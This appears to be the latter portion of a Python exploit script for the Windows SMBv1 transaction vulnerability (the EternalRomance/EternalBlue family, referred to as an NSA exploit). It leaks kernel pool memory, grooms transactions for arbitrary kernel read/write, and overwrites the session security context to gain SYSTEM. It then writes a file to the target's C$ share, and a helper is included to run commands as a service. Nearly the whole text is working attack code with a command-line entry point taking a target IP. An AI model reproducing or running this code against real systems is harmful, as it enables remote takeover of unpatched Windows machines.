|
||||||
|
leakData = leakData[0x10d4:] # skip parameters and its own input
|
||||||
|
if leakData[12:16] == 'Frag':
|
||||||
|
print('The exploit does not support 32 bit target')
|
||||||
|
sys.exit()
|
||||||
|
if leakData[0x14:0x18] != 'Frag':
|
||||||
|
print('Not found Frag pool tag in leak data')
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
# Frag pool size might be 0x10 or 0x20
|
||||||
|
fragPoolSize = ord(leakData[0x12]) << 4
|
||||||
|
print('Got frag size: 0x{:x}'.format(fragPoolSize))
|
||||||
|
global FRAG_POOL_SIZE, BRIDE_TRANS_SIZE
|
||||||
|
FRAG_POOL_SIZE = fragPoolSize
|
||||||
|
BRIDE_TRANS_SIZE = 0x1000 - (GROOM_TRANS_SIZE & 0xfff) - FRAG_POOL_SIZE - 0x40
|
||||||
|
return fragPoolSize
|
||||||
|
|
||||||
|
|
||||||
|
def align_transaction_and_leak(conn, tid, fid, numFill=4):
|
||||||
|
# fill large pagedpool holes (maybe no need)
|
||||||
|
for i in range(numFill):
|
||||||
|
conn.send_nt_trans(5, param=pack('<HH', fid, 0), totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE+0x100-0x10d0-0x100)
|
||||||
|
|
||||||
|
mid_ntrename = conn.next_mid()
|
||||||
|
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-0x100)
|
||||||
|
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
|
||||||
|
|
||||||
|
req3 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=fid, totalDataCount=GROOM_TRANS_SIZE-0x1000-0x100, maxParameterCount=0x1000)
|
||||||
|
reqs = []
|
||||||
|
for i in range(12):
|
||||||
|
mid = next_extra_mid()
|
||||||
|
reqs.append(conn.create_trans_packet('', mid=mid, totalDataCount=BRIDE_TRANS_SIZE-0x200-0x100, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
|
||||||
|
|
||||||
|
conn.send_raw(req1[:-8])
|
||||||
|
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
|
||||||
|
|
||||||
|
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
|
||||||
|
leakData = leakData[0x10d4:] # skip parameters and its own input
|
||||||
|
#open('leak.dat', 'wb').write(leakData)
|
||||||
|
|
||||||
|
if leakData[0x14:0x18] != 'Frag':
|
||||||
|
print('Not found Frag pool tag in leak data')
|
||||||
|
return None
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# verify leak data
|
||||||
|
# ================================
|
||||||
|
leakData = leakData[0x10+FRAG_POOL_SIZE:]
|
||||||
|
# check pool tag and size value in buffer header
|
||||||
|
expected_size = pack('<H', BRIDE_TRANS_SIZE-4)
|
||||||
|
if leakData[0x4:0x8] != 'LStr' or leakData[0x10:0x12] != expected_size or leakData[0x22:0x24] != expected_size:
|
||||||
|
print('No transaction struct in leak data')
|
||||||
|
return None
|
||||||
|
|
||||||
|
leakTrans = leakData[0x20:]
|
||||||
|
|
||||||
|
connection_addr, session_addr, treeconnect_addr, flink_value = unpack('<QQQQ', leakTrans[0x10:0x30])
|
||||||
|
outparam_value, indata_value = unpack('<QQ', leakTrans[TRANS_OUTPARAM_OFFSET:TRANS_OUTPARAM_OFFSET+0x10])
|
||||||
|
leak_mid = unpack('<H', leakTrans[TRANS_MID_OFFSET:TRANS_MID_OFFSET+2])[0]
|
||||||
|
|
||||||
|
print('CONNECTION: 0x{:x}'.format(connection_addr))
|
||||||
|
print('SESSION: 0x{:x}'.format(session_addr))
|
||||||
|
print('FLINK: 0x{:x}'.format(flink_value))
|
||||||
|
print('InData: 0x{:x}'.format(indata_value))
|
||||||
|
print('MID: 0x{:x}'.format(leak_mid))
|
||||||
|
|
||||||
|
next_page_addr = (indata_value & 0xfffffffffffff000) + 0x1000
|
||||||
|
if next_page_addr + GROOM_TRANS_SIZE + FRAG_POOL_SIZE + 0x40 + 0x28 != flink_value:
|
||||||
|
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
|
||||||
|
return None
|
||||||
|
# trans1: leak transaction
|
||||||
|
# trans2: next transaction
|
||||||
|
return {
|
||||||
|
'connection': connection_addr,
|
||||||
|
'session': session_addr,
|
||||||
|
'next_page_addr': next_page_addr,
|
||||||
|
'trans1_mid': leak_mid,
|
||||||
|
'trans1_addr': next_page_addr - BRIDE_TRANS_SIZE,
|
||||||
|
'trans2_addr': flink_value - TRANS_FLINK_OFFSET,
|
||||||
|
'special_mid': special_mid,
|
||||||
|
}
|
||||||
|
|
||||||
|
def read_data(conn, info, read_addr, read_size):
|
||||||
|
# create fake InParameters
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<HH', info['fid'], 0), dataDisplacement=0x200)
|
||||||
|
# modify trans2.InParameter to fake InParameters
|
||||||
|
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
|
||||||
|
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
|
||||||
|
new_data = pack('<QQ', info['trans2_addr']+0x200, info['trans2_addr']+TRANS_FLINK_OFFSET) # InParameter, OutParameter
|
||||||
|
new_data += pack('<QQ', info['trans2_addr']+0x200, read_addr) # InData, OutData
|
||||||
|
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
|
||||||
|
new_data += pack('<III', 16, 16, 16) # ParamterCount, TotalParamterCount, MaxParameterCount
|
||||||
|
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
|
||||||
|
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=TRANS_INPARAM_OFFSET)
|
||||||
|
|
||||||
|
# create one more transaction before leaking data
|
||||||
|
# - next transaction can be used for arbitrary read/write after the current trans2 is done
|
||||||
|
# - next transaction address is from TransactionListEntry.Flink value
|
||||||
|
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4f00-0x20, totalParameterCount=0x1000)
|
||||||
|
|
||||||
|
# finish the trans2 to leak
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
|
||||||
|
read_data = conn.recv_transaction_data(info['trans2_mid'], 16+read_size)
|
||||||
|
|
||||||
|
# set new trans2 address
|
||||||
|
info['trans2_addr'] = unpack('<Q', read_data[:8])[0] - TRANS_FLINK_OFFSET
|
||||||
|
|
||||||
|
# set trans1.InData to &trans2
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<Q', info['trans2_addr']), paramDisplacement=TRANS_INDATA_OFFSET)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
# modify trans2 mid
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=TRANS_MID_OFFSET)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
return read_data[16:] # no need to return parameter
|
||||||
|
|
||||||
|
|
||||||
|
def write_data(conn, info, write_addr, write_data):
|
||||||
|
# trans2.InData
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<Q', write_addr), dataDisplacement=TRANS_INDATA_OFFSET)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
# write data
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target, pipe_name):
|
||||||
|
conn = MYSMB(target)
|
||||||
|
|
||||||
|
# set NODELAY to make exploit much faster
|
||||||
|
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||||
|
|
||||||
|
info = {}
|
||||||
|
|
||||||
|
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
|
||||||
|
server_os = conn.get_server_os()
|
||||||
|
if server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os):
|
||||||
|
info.update(WIN7_INFO)
|
||||||
|
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
|
||||||
|
info.update(WIN8_INFO)
|
||||||
|
else:
|
||||||
|
print('This exploit does not support this target')
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# try align pagedpool and leak info until satisfy
|
||||||
|
# ================================
|
||||||
|
leakInfo = None
|
||||||
|
# max attempt: 10
|
||||||
|
for i in range(10):
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name)
|
||||||
|
if not FRAG_POOL_SIZE:
|
||||||
|
leak_frag_size(conn, tid, fid)
|
||||||
|
reset_extra_mid(conn)
|
||||||
|
leakInfo = align_transaction_and_leak(conn, tid, fid)
|
||||||
|
if leakInfo is not None:
|
||||||
|
break
|
||||||
|
print('leak failed... try again')
|
||||||
|
conn.close(tid, fid)
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
if leakInfo is None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
info['fid'] = fid
|
||||||
|
info.update(leakInfo)
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# shift trans1.Indata ptr with SmbWriteAndX
|
||||||
|
# ================================
|
||||||
|
shift_indata_byte = 0x200
|
||||||
|
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
|
||||||
|
|
||||||
|
# Note: Even the distance between bride transaction is exact what we want, the groom transaction might be in a wrong place.
|
||||||
|
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
|
||||||
|
indata_value = info['next_page_addr'] + 0x100 + 0x10 + 0x1000 + shift_indata_byte # maxParameterCount (0x1000)
|
||||||
|
indata_next_trans_displacement = info['trans2_addr'] - indata_value
|
||||||
|
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + TRANS_MID_OFFSET)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||||
|
# a new transaction with special_mid should be error.
|
||||||
|
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
|
||||||
|
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
|
||||||
|
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
print('!!! Write to wrong place !!!')
|
||||||
|
print('the target might be crashed')
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
print('success controlling groom transaction')
|
||||||
|
info['indata_next_trans_displacement'] = indata_next_trans_displacement
|
||||||
|
|
||||||
|
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
|
||||||
|
# but this method make the transation never get freed
|
||||||
|
# I will avoid memory leak
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# modify trans1 struct to be used for arbitrary read/write
|
||||||
|
# ================================
|
||||||
|
print('modify trans1 struct for arbitrary read/write')
|
||||||
|
# modify trans_special.InData to &trans1
|
||||||
|
conn.send_nt_trans_secondary(mid=fid, data=pack('<Q', info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + TRANS_INDATA_OFFSET)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
# modify
|
||||||
|
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
|
||||||
|
# - trans1.InData to &trans2. so we can modify trans2 easily
|
||||||
|
conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<QQQ', info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=TRANS_INPARAM_OFFSET)
|
||||||
|
wait_for_request_processed(conn)
|
||||||
|
|
||||||
|
# modify trans2.mid
|
||||||
|
info['trans2_mid'] = conn.next_mid()
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=TRANS_MID_OFFSET)
|
||||||
|
|
||||||
|
# Now, read_data() and write_data() can be used for arbitrary read and write.
|
||||||
|
# ================================
|
||||||
|
# Modify this SMB session to be SYSTEM
|
||||||
|
# ================================
|
||||||
|
# Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
|
||||||
|
# method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
|
||||||
|
|
||||||
|
print('make this SMB session to be SYSTEM')
|
||||||
|
# IsNullSession = 0, IsAdmin = 1
|
||||||
|
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
|
||||||
|
|
||||||
|
# read session struct to get SecurityContext address
|
||||||
|
sessionData = read_data(conn, info, info['session'], 0x100)
|
||||||
|
secCtxAddr = unpack('<Q', sessionData[info['SESSION_SECCTX_OFFSET']:info['SESSION_SECCTX_OFFSET']+8])[0]
|
||||||
|
|
||||||
|
# copy SecurityContext for restoration
|
||||||
|
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
|
||||||
|
|
||||||
|
print('overwriting session security context')
|
||||||
|
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# do whatever we want as SYSTEM over this SMB connection
|
||||||
|
# ================================
|
||||||
|
try:
|
||||||
|
smb_pwn(conn)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
|
||||||
|
write_data(conn, info, secCtxAddr, secCtxData)
|
||||||
|
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def smb_pwn(conn):
|
||||||
|
smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True)
|
||||||
|
|
||||||
|
print('creating file c:\\pwned.txt on the target')
|
||||||
|
tid2 = smbConn.connectTree('C$')
|
||||||
|
fid2 = smbConn.createFile(tid2, '/pwned.txt')
|
||||||
|
smbConn.closeFile(tid2, fid2)
|
||||||
|
smbConn.disconnectTree(tid2)
|
||||||
|
|
||||||
|
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
|
||||||
|
|
||||||
|
# based on impacket/examples/serviceinstall.py
|
||||||
|
def service_exec(smbConn, cmd):
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
from impacket.dcerpc.v5 import transport, srvs, scmr
|
||||||
|
|
||||||
|
service_name = ''.join([random.choice(string.letters) for i in range(4)])
|
||||||
|
|
||||||
|
# Setup up a DCE SMBTransport with the connection already in place
|
||||||
|
rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn)
|
||||||
|
rpcsvc = rpctransport.get_dce_rpc()
|
||||||
|
rpcsvc.connect()
|
||||||
|
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
|
svnHandle = None
|
||||||
|
try:
|
||||||
|
print("Opening SVCManager on %s....." % smbConn.getRemoteHost())
|
||||||
|
resp = scmr.hROpenSCManagerW(rpcsvc)
|
||||||
|
svcHandle = resp['lpScHandle']
|
||||||
|
|
||||||
|
# First we try to open the service in case it exists. If it does, we remove it.
|
||||||
|
try:
|
||||||
|
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
|
||||||
|
except Exception, e:
|
||||||
|
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
|
||||||
|
raise e # Unexpected error
|
||||||
|
else:
|
||||||
|
# It exists, remove it
|
||||||
|
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
|
||||||
|
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
|
||||||
|
|
||||||
|
print('Creating service %s.....' % service_name)
|
||||||
|
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
|
||||||
|
serviceHandle = resp['lpServiceHandle']
|
||||||
|
|
||||||
|
if serviceHandle:
|
||||||
|
# Start service
|
||||||
|
try:
|
||||||
|
print('Starting service %s.....' % service_name)
|
||||||
|
scmr.hRStartServiceW(rpcsvc, serviceHandle)
|
||||||
|
# is it really need to stop?
|
||||||
|
# using command line always makes starting service fail because SetServiceStatus() does not get called
|
||||||
|
print('Stoping service %s.....' % service_name)
|
||||||
|
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||||
|
except Exception, e:
|
||||||
|
print(str(e))
|
||||||
|
|
||||||
|
print('Removing service %s.....' % service_name)
|
||||||
|
scmr.hRDeleteService(rpcsvc, serviceHandle)
|
||||||
|
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
|
||||||
|
except Exception, e:
|
||||||
|
print("ServiceExec Error on: %s" % smbConn.getRemoteHost())
|
||||||
|
print(str(e))
|
||||||
|
finally:
|
||||||
|
if svcHandle:
|
||||||
|
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
|
||||||
|
|
||||||
|
rpcsvc.disconnect()
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = sys.argv[2]
|
||||||
|
|
||||||
|
exploit(target, pipe_name)
|
||||||
|
print('Done')
|
||||||
Reference in New Issue
Block a user